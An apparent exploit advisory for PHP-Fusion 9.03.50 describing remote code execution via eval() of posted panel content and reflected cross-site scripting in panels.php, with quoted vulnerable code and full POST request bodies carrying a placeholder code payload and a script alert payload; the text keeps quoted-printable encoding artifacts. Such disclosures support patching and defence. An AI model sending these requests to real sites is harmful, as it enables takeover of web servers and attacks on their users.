PHP-Fusion 9.03.50 - 'panels.php' Remote Code Execution

# Exploit Title: PHP-Fusion 9.03.50 - 'panels.php' Multiple vulnerability
# Google Dork: N/A=20
# Date: 2020-04-01
# Exploit Author: Unkn0wn
# Vendor Homepage: https://www.php-fusion.co.uk
# Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php
# Version: 9.03.50
# Tested on: Ubuntu
# CVE : N/A
---------------------------------------------------------
Code Execution:
This vulnerabilty in "add_panel_form()" function.
in line 527 we can see "eval" tag:
*
eval("?>".stripslashes($_POST['panel_content'])."<?php ");
*
and to this funcation in line 528 - 530 return us payload:
*
$eval =3D ob_get_contents();
                    ob_end_clean();
                    echo $eval;
=09=09=09=09=09
*
Demo:
http://localhost/PHP-Fusion/files/administration/panels.php?aid=3Dae28e84e2=
2e900fb&section=3Dpanelform&action=3Dedit&panel_id=3D4

POST DATA:
fusion_token=3D1-1585668386-30dc735031f57e89268287bb176e78b092e156dd32a583c=
f191c7dd30c2d99e9&form_id=3Dpanel_form&fusion_PmbaJ2=3D&panel_id=3D4&panel_=
name=3DWelcome Message&panel_filename=3Dnone&panel_side=3D2&panel_restricti=
on=3D2&panel_url_list=3D&panel_display=3D0&panel_content-insertimage=3D&pan=
el_content=3D;"Code Execution Payload"&panel_access=3D0&panel_languages[]=
=3DEnglish&panel_save=3DPreview Panel
----------------------------

Cross site-scripting:
In line 532  with POST DATA prin"t panel_content:
"
echo "<p>".nl2br(parse_textarea($_POST['panel_content'], FALSE, FALSE))."</=
p>\n";
"

Demo:
http://localhost/PHP-Fusion/files/administration/panels.php?aid=3Dae28e84e2=
2e900fb&section=3Dpanelform&action=3Dedit&panel_id=3D4

POST DATA:
fusion_token=3D1-1585668386-30dc735031f57e89268287bb176e78b092e156dd32a583c=
f191c7dd30c2d99e9&form_id=3Dpanel_form&fusion_PmbaJ2=3D&panel_id=3D4&panel_=
name=3DWelcome Message&panel_filename=3Dnone&panel_side=3D2&panel_restricti=
on=3D2&panel_url_list=3D&panel_display=3D0&panel_content-insertimage=3D&pan=
el_content=3D;"<script>alert('Unkn0wn')</script>"&panel_access=3D0&panel_la=
nguages[]=3DEnglish&panel_save=3DPreview Panel

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